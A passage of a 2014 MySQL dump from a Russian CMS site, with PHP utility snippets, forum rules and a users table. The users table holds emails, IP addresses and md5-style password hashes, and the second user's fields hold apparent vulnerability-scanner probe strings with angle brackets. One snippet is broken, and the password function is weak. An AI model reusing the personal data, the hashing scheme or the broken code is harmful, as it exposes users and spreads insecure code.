( $papka );\r\nwhile ( $file = readdir ( $dir )) {\r\nif (( $file !=
"." ) && ( $file !=
".." ))\r\n$files []=" $papka /$file "
;\r\n$time []= filemtime( " $papka / $file "
);\r\n}\r\nclosedir ( $dir );\r\n$count_files = count ( $files );\r\nfor(
$i = 1; $i < $count_files ; $i ++){\r\nif( $time [ $i ] <=
$old_time ){\r\n@unlink ( $files [ $i
]);\r\n}\r\n}\r\n}','files_1263_4982_',1006),(382,9,'Получаем
список файлов в папках и в
подпапках','Получаем список файлов в
папках и в подпапках','function DirFilesR ( $dir
)\r\n{\r\n$handle = opendir ($dir ) or die( "Can\'t open directory
$dir " );\r\n$files = Array();\r\n$subfiles = Array();\r\nwhile (
false !== ( $file = readdir( $handle )))\r\n{\r\nif ( $file !=
"." && $file != ".."
)\r\n{\r\nif( is_dir ( $dir ."/" . $file ))\r\n{\r\n//
Получим список файлов\r\n// вложенной
папки...\r\n$subfiles = DirFilesR( $dir . "/" .
$file );\r\n// ...и добавим их к общему
списку\r\n$files = array_merge ( $files , $subfiles
);\r\n}\r\nelse\r\n{\r\n$files [] = $dir . "/" . $file
;\r\n}\r\n}\r\n}\r\nclosedir ( $handle );\r\nreturn $files
;\r\n}','files_2325_2776_',1006),(383,9,'Функция шифровки
пароля в md5 с солью','Функция шифровки
пароля в md5 с солью','$salt =
"123!#&%asgfHTA" ;\r\n$pass =
"proba" ;\r\nfunction my_crypt ( $pass , $salt
)\r\n{\r\n$spec =array( \'~\', \'!\', \'@\', \'#\' , \'$\' , \'%\' , \'^\',
\'&\', \'*\', \'?\');\r\n$crypted = md5 ( md5 ( $salt ). md5 (
$pass ));\r\n$c_text = md5 ( $pass );\r\nfor ( $i = 0; $i < strlen(
$crypted );$i ++)\r\n{\r\nif ( ord( $c_text [ $i ])>= 48 and ord(
$c_text [ $i ])<= 57 ){\r\n&
#64;$temp.=$spec[$c_text[$i]];\r\n} elseif( ord( $c_text [$i ])>= 97
and ord ($c_text [ $i ])<= 100){\r\n&
#64;$temp.=strtoupper($crypted[$i]);\r\n} else {\r\n&
#64;$temp.=$crypted[$i];\r\n}\r\n}\r\nreturn md5 ( $temp
);\r\n}','files_5279_2229_',1006),(384,9,'Функция подсчета
общего веса файлов в директории с
вложеными папками','Функция подсчета
общего веса файлов в директории с
вложеными папками','function size_dir ( $dir )
{\r\n$full_size = 0 ;\r\n$opdir = opendir( $dir );\r\nwhile ( $a = readdir(
$opdir ))\r\n{ if ( $a != "." && $a !=
".." && ! is_dir ( $dir . \'/\' .$a
))\r\n{$full_size = $full_size + filesize ( $dir . \'/\' . $a );}\r\nelseif
( $a != "." && $a !=
".." && is_dir ( $dir . \'/\' . $a )) {
$full_size = $full_siz\r\n}\r\nclosedir ( $opdir );\r\nreturn $full_size
;}\r\n}','files_4505_4870_',1006),(385,9,'Функция подсчета
файлов в директорияхпроизвольной
вложености','Функция подсчета файлов в
директорияхпроизвольной
вложености','function count_files ($dir ){\r\n$c = 0 ;\r\n$d =
dir( $dir );\r\nwhile( $str = $d -> read ()){\r\nif( $str {0
}!=\'.\' ){\r\nif( is_dir ($dir . \'/\' .$str )) $c += count_files ( $dir .
\'/\' . $str );\r\nelse $c ++;\r\n};\r\n}\r\n$d ->
close();\r\nreturn $c
;\r\n}','files_5017_4346_',1006),(386,9,'Функция удаления
директории с вложеными внее
файлами','Функция удаления директории с
вложеными внее файлами','function clear ( $dir
)\r\n{\r\n$opdir = opendir( $dir );\r\nwhile ( $a = readdir( $opdir
))\r\n{\r\nif ( $a != "." && $a !=
".." && ! is_dir ($dir . \'/\' . $a
))\r\n{ unlink( $dir . \'/\' . $a );}\r\nelseif( $a !=
"." && $a != ".."
&& is_dir ( $dir .\'/\' . $a ))\r\n{ clear ($dir . \'/\' .
$a );}\r\n}\r\nclosedir ( $opdir );\r\nif( rmdir( $dir )){return TRUE
;}else{return FALSE ;}\r\n}','files_5039_4967_',1006); /*!40000 ALTER TABLE
`polz_stat` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`repa_user` -- DROP TABLE IF EXISTS `repa_user`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `repa_user` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `text` text NOT NULL, `kto` varchar(244) NOT
NULL, `komy` varchar(244) NOT NULL, `time` varchar(244) NOT NULL,
`repa` varchar(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `repa_user` -- LOCK TABLES `repa_user`
WRITE; /*!40000 ALTER TABLE `repa_user` DISABLE KEYS */; /*!40000 ALTER
TABLE `repa_user` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `rules` -- DROP TABLE IF EXISTS `rules`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `rules` ( `site` text NOT
NULL, `forum` text NOT NULL, `chat` text NOT NULL ) ENGINE=MyISAM
DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `rules` -- LOCK TABLES `rules`
WRITE; /*!40000 ALTER TABLE `rules` DISABLE KEYS */; INSERT INTO `rules`
VALUES ('1. Запрещено оставлять на форуме
более 3 однотипных сообщений подряд
(Конкурсы исключение). [b](Блокировка на 1
ч.) [/b]\r\n2. Запрещено оскорблять
пользователей сайта, смеяться над
отсутствием знаний и т.д. [b](Блокировка на
3 ч.) [/b]\r\n3. Запрещено создавать
бессмысленные темы (исключением
является раздел свободное общение).
[b](Блокировка на 2 ч.) [/b]\r\n4. Каждому юзеру
форума запрещено писать сообщения,
которые не имеют как такового смысла
(флуд, оффтоп, спам). [b](Блокировка на 2 ч.)
[/b]\r\n5. Запрещено злоупотреблять
ВВ-кодами (например писать всё сообщение
жирным шрифтом или цветным текстом).
[b](Блокировка на 2 ч.) [/b]\r\n6. Запрещено
ставить на аватарку изображения
порнографического характера.
[b](Блокировка на 5 ч.) [/b]\r\n7. Запрещено
вести торговую деятельность без
подтвержденного WMID. [b](Блокировка на 5 ч.)
[/b]\r\n8. Запрещено продавать
скрипты/дизайны, находящиеся в свободном
доступе . [b](Блокировка на 10 ч.)[/b] \r\n9.
Запрещено продавать товары без примера,
либо скриншота. [b](Блокировка на 1 ч.)[/b]
\r\n10. Запрещено иметь более одной учётной
записи на сайте (Исключение аккаунт
ВК).Удаление мультиаккаунта
[b](Блокировка на 24 ч.) [/b]\r\n11. Запрещено
плодить уже существующие темы на форуме.
[b](Блокировка на 2 ч.) [/b]\r\n12. Запрещено
создавать темы на форуме с
неинформативными названиями (типа:
срочно сюда, помогите, как сделать? и т.п )
[b](Блокировка на 1 ч.) [/b]\r\n13. Запрещено
создавать темы не в соответствующих им
подфорумах. (Блокировка на 1 ч.) [/b]\r\n14.
Запрещено (КАТЕГОРИЧЕСКИ) оставлять
ссылки на сайте, которые ведут на другие
вм-проекты. (даже в анкете) [b](Блокировка
на 72 ч.) [/b]\r\n15. Запрещено ставить в статус
пользователя ссылки или часть домена
[b](Блокировка на 5 ч.) [/b]\r\n16. Запрещена
продажа аккаунтов сайта [удаление
аккаунта] [b](Блокировка на 999 ч.)[/b] \r\n17.
Запрещено поднимать (апать) тему более 3
раза в сутки [b](Блокировка на 3 ч.) [/b]\r\n18.
Любой открытый мат на сайте [b](Блокировка
на 5 ч.) \r\n19. Запрещенно размещение
реферальных ссылок без предупреждения
([b]Блокировка на 4 ч.) [/b]\r\n20. Запрещено
клеветать на собеседника , из-за личной
неприязни к нему. [b](Блокировка на 12 ч.)[/b]
\r\n21. Запрещена накрутка репутации на
сайте (рейтинг, плюсы, отзывы в арбитраж)
[b](Блокировка на 12 ч.) [/b]\r\n22.
Пользователям, которые находятся в
списке кидал, запрещено вести любую
финансовую деятельность [b](Блокировка на
4 ч.) [/b]\r\n23. Запрещено ставить на аватарку
изображения на которых есть адреса ВМ
сайтов [b](Блокировка на 48 ч.) [/b]\r\n24.
Запрещено спамить в личной почте любыми
ссылками. [b](Блокировка на 9 ч.)[/b]','1.
Запрещено оставлять на форуме более 3
однотипных сообщений подряд (Конкурсы
исключение). [b](Блокировка на 1 ч.) [/b]\r\n2.
Запрещено оскорблять пользователей
сайта, смеяться над отсутствием знаний и
т.д. [b](Блокировка на 3 ч.) [/b]\r\n3. Запрещено
создавать бессмысленные темы
(исключением является раздел свободное
общение). [b](Блокировка на 2 ч.) [/b]\r\n4.
Каждому юзеру форума запрещено писать
сообщения, которые не имеют как такового
смысла (флуд, оффтоп, спам). [b](Блокировка
на 2 ч.) [/b]\r\n5. Запрещено злоупотреблять
ВВ-кодами (например писать всё сообщение
жирным шрифтом или цветным текстом).
[b](Блокировка на 2 ч.) [/b]\r\n6. Запрещено
ставить на аватарку изображения
порнографического характера.
[b](Блокировка на 5 ч.) [/b]\r\n7. Запрещено
вести торговую деятельность без
подтвержденного WMID. [b](Блокировка на 5 ч.)
[/b]\r\n8. Запрещено продавать
скрипты/дизайны, находящиеся в свободном
доступе . [b](Блокировка на 10 ч.)[/b] \r\n9.
Запрещено продавать товары без примера,
либо скриншота. [b](Блокировка на 1 ч.)[/b]
\r\n10. Запрещено иметь более одной учётной
записи на сайте (Исключение аккаунт
ВК).Удаление мультиаккаунта
[b](Блокировка на 24 ч.) [/b]\r\n11. Запрещено
плодить уже существующие темы на форуме.
[b](Блокировка на 2 ч.) [/b]\r\n12. Запрещено
создавать темы на форуме с
неинформативными названиями (типа:
срочно сюда, помогите, как сделать? и т.п )
[b](Блокировка на 1 ч.) [/b]\r\n13. Запрещено
создавать темы не в соответствующих им
подфорумах. (Блокировка на 1 ч.) [/b]\r\n14.
Запрещено (КАТЕГОРИЧЕСКИ) оставлять
ссылки на сайте, которые ведут на другие
вм-проекты. (даже в анкете) [b](Блокировка
на 72 ч.) [/b]\r\n15. Запрещено ставить в статус
пользователя ссылки или часть домена
[b](Блокировка на 5 ч.) [/b]\r\n16. Запрещена
продажа аккаунтов сайта [удаление
аккаунта] [b](Блокировка на 999 ч.)[/b] \r\n17.
Запрещено поднимать (апать) тему более 3
раза в сутки [b](Блокировка на 3 ч.) [/b]\r\n18.
Любой открытый мат на сайте [b](Блокировка
на 5 ч.) \r\n19. Запрещенно размещение
реферальных ссылок без предупреждения
([b]Блокировка на 4 ч.) [/b]\r\n20. Запрещено
клеветать на собеседника , из-за личной
неприязни к нему. [b](Блокировка на 12 ч.)[/b]
\r\n21. Запрещена накрутка репутации на
сайте (рейтинг, плюсы, отзывы в арбитраж)
[b](Блокировка на 12 ч.) [/b]\r\n22.
Пользователям, которые находятся в
списке кидал, запрещено вести любую
финансовую деятельность [b](Блокировка на
4 ч.) [/b]\r\n23. Запрещено ставить на аватарку
изображения на которых есть адреса ВМ
сайтов [b](Блокировка на 48 ч.) [/b]\r\n24.
Запрещено спамить в личной почте любыми
ссылками. [b](Блокировка на 9 ч.)[/b]','1.
Запрещено оставлять на форуме более 3
однотипных сообщений подряд (Конкурсы
исключение). [b](Блокировка на 1 ч.) [/b]\r\n2.
Запрещено оскорблять пользователей
сайта, смеяться над отсутствием знаний и
т.д. [b](Блокировка на 3 ч.) [/b]\r\n3. Запрещено
создавать бессмысленные темы
(исключением является раздел свободное
общение). [b](Блокировка на 2 ч.) [/b]\r\n4.
Каждому юзеру форума запрещено писать
сообщения, которые не имеют как такового
смысла (флуд, оффтоп, спам). [b](Блокировка
на 2 ч.) [/b]\r\n5. Запрещено злоупотреблять
ВВ-кодами (например писать всё сообщение
жирным шрифтом или цветным текстом).
[b](Блокировка на 2 ч.) [/b]\r\n6. Запрещено
ставить на аватарку изображения
порнографического характера.
[b](Блокировка на 5 ч.) [/b]\r\n7. Запрещено
вести торговую деятельность без
подтвержденного WMID. [b](Блокировка на 5 ч.)
[/b]\r\n8. Запрещено продавать
скрипты/дизайны, находящиеся в свободном
доступе . [b](Блокировка на 10 ч.)[/b] \r\n9.
Запрещено продавать товары без примера,
либо скриншота. [b](Блокировка на 1 ч.)[/b]
\r\n10. Запрещено иметь более одной учётной
записи на сайте (Исключение аккаунт
ВК).Удаление мультиаккаунта
[b](Блокировка на 24 ч.) [/b]\r\n11. Запрещено
плодить уже существующие темы на форуме.
[b](Блокировка на 2 ч.) [/b]\r\n12. Запрещено
создавать темы на форуме с
неинформативными названиями (типа:
срочно сюда, помогите, как сделать? и т.п )
[b](Блокировка на 1 ч.) [/b]\r\n13. Запрещено
создавать темы не в соответствующих им
подфорумах. (Блокировка на 1 ч.) [/b]\r\n14.
Запрещено (КАТЕГОРИЧЕСКИ) оставлять
ссылки на сайте, которые ведут на другие
вм-проекты. (даже в анкете) [b](Блокировка
на 72 ч.) [/b]\r\n15. Запрещено ставить в статус
пользователя ссылки или часть домена
[b](Блокировка на 5 ч.) [/b]\r\n16. Запрещена
продажа аккаунтов сайта [удаление
аккаунта] [b](Блокировка на 999 ч.)[/b] \r\n17.
Запрещено поднимать (апать) тему более 3
раза в сутки [b](Блокировка на 3 ч.) [/b]\r\n18.
Любой открытый мат на сайте [b](Блокировка
на 5 ч.) \r\n19. Запрещенно размещение
реферальных ссылок без предупреждения
([b]Блокировка на 4 ч.) [/b]\r\n20. Запрещено
клеветать на собеседника , из-за личной
неприязни к нему. [b](Блокировка на 12 ч.)[/b]
\r\n21. Запрещена накрутка репутации на
сайте (рейтинг, плюсы, отзывы в арбитраж)
[b](Блокировка на 12 ч.) [/b]\r\n22.
Пользователям, которые находятся в
списке кидал, запрещено вести любую
финансовую деятельность [b](Блокировка на
4 ч.) [/b]\r\n23. Запрещено ставить на аватарку
изображения на которых есть адреса ВМ
сайтов [b](Блокировка на 48 ч.) [/b]\r\n24.
Запрещено спамить в личной почте любыми
ссылками. [b](Блокировка на 9 ч.)[/b]'); /*!40000
ALTER TABLE `rules` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure
for table `settings` -- DROP TABLE IF EXISTS `settings`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `settings` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `key` text NOT NULL, `des` text NOT NULL,
`cop` varchar(50) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB
AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `settings` -- LOCK
TABLES `settings` WRITE; /*!40000 ALTER TABLE `settings` DISABLE KEYS
*/; INSERT INTO `settings` VALUES
(1,'StrongCMS.RU','StrongCMS.RU','StrongCMS.RU'); /*!40000 ALTER TABLE
`settings` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`smile` -- DROP TABLE IF EXISTS `smile`; /*!40101 SET @saved_cs_client
= @@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `smile` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name`
varchar(244) NOT NULL, `icon` varchar(244) NOT NULL, `papka`
varchar(30) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `smile` -- LOCK TABLES `smile`
WRITE; /*!40000 ALTER TABLE `smile` DISABLE KEYS */; /*!40000 ALTER TABLE
`smile` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`smile_p` -- DROP TABLE IF EXISTS `smile_p`; /*!40101 SET @saved_cs_client
= @@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `smile_p` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(30) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `smile_p` -- LOCK TABLES `smile_p`
WRITE; /*!40000 ALTER TABLE `smile_p` DISABLE KEYS */; /*!40000 ALTER TABLE
`smile_p` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`stena` -- DROP TABLE IF EXISTS `stena`; /*!40101 SET @saved_cs_client
= @@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `stena` ( `id` int(11) NOT NULL AUTO_INCREMENT, `msg`
text NOT NULL, `avtor` varchar(244) NOT NULL, `ukogo` varchar(244) NOT
NULL, `time` varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `stena` -- LOCK TABLES `stena`
WRITE; /*!40000 ALTER TABLE `stena` DISABLE KEYS */; /*!40000 ALTER TABLE
`stena` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`users` -- DROP TABLE IF EXISTS `users`; /*!40101 SET @saved_cs_client
= @@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `users` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`login` varchar(20) NOT NULL, `pass` varchar(255) NOT NULL, `sex`
varchar(1) NOT NULL, `name` varchar(30) NOT NULL, `email` varchar(40)
NOT NULL, `strana` varchar(255) NOT NULL, `gorod` varchar(255) NOT
NULL, `osebe` varchar(555) NOT NULL, `datareg` varchar(255) NOT NULL,
`level` varchar(1) NOT NULL, `browser` varchar(250) NOT NULL, `ip`
varchar(250) NOT NULL, `viz` varchar(250) NOT NULL, `online`
varchar(250) NOT NULL, `gde` varchar(255) NOT NULL, `xstatus`
varchar(255) NOT NULL, `color_nick` varchar(255) NOT NULL, `max`
int(30) NOT NULL DEFAULT '10', `avatar` varchar(255) NOT NULL, `wmid`
varchar(50) NOT NULL, `site` varchar(50) NOT NULL, `key` varchar(50)
NOT NULL, `keyp` int(1) NOT NULL DEFAULT '3', `know` int(1) NOT NULL,
`act_wmid` int(1) NOT NULL, `wmr` varchar(13) NOT NULL, `status`
varchar(300) NOT NULL, `rub` int(10) NOT NULL, `balans` decimal(11,2)
NOT NULL DEFAULT '0.00' COMMENT 'Баланс', PRIMARY KEY (`id`) )
ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`users` -- LOCK TABLES `users` WRITE; /*!40000 ALTER TABLE `users` DISABLE
KEYS */; INSERT INTO `users` VALUES
(1,'Bizz','081ffd87009020a91d9959003c7bc3eb','1','Павел','diz-top@inbox.ru','','','','1419570913','3','Opera/9.80
(Android; Opera Mini/7.6.40077/35.6368; U; ru) Presto/2.8.119
Version/11.10','82.145.220.138','1419605505','2442','/','1','',10,'','','','',3,0,0,'','',0,0.00),(2,'nefest','312fd2f3cabafc9417c35fd00efdaa5d','1','000000000','maga-34@list.ru','!S!WCRTESTINPUT000000!E!','!S!WCRTESTINPUT000001!E!','!S!WCRTESTINPUT000002!E!','1419588710','0','Mozilla/5.0
(Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95
Safari/537.36
OPR/26.0.1656.60','185.3.32.128','1419605378','474','/','','',0,'','!S!WCRTESTINPUT000005<><>%3c%3e!E!','','',3,0,0,'!S!WCRTESTINP','',0,0.00); /*!40000
ALTER TABLE `users` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure
for table `worldkassa` -- DROP TABLE IF EXISTS `worldkassa`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `worldkassa` ( `id` int(11)
unsigned NOT NULL AUTO_INCREMENT COMMENT 'ID платежа
(Внутренний ID)', `id_user` int(11) unsigned NOT NULL COMMENT
'ID пользователя', `id_bill` int(11) unsigned NOT NULL
COMMENT 'ID платежа в Worldkassa', `time` int(11) unsigned NOT
NULL COMMENT 'Время инициализации платежа',
`time_oplata` int(11) unsigned DEFAULT '0' COMMENT 'Время
оплаты', `summa` decimal(11,2) NOT NULL DEFAULT '0.00' COMMENT
'Сумма', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8
COMMENT='Статистика платежей через
WorldKassa'; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `worldkassa` -- LOCK TABLES `worldkassa`
WRITE; /*!40000 ALTER TABLE `worldkassa` DISABLE KEYS */; /*!40000 ALTER
TABLE `worldkassa` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET
TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE
*/; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET
CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET
CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET
COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET
SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2014-12-26 18:49:57
Онлайн: 0
Реклама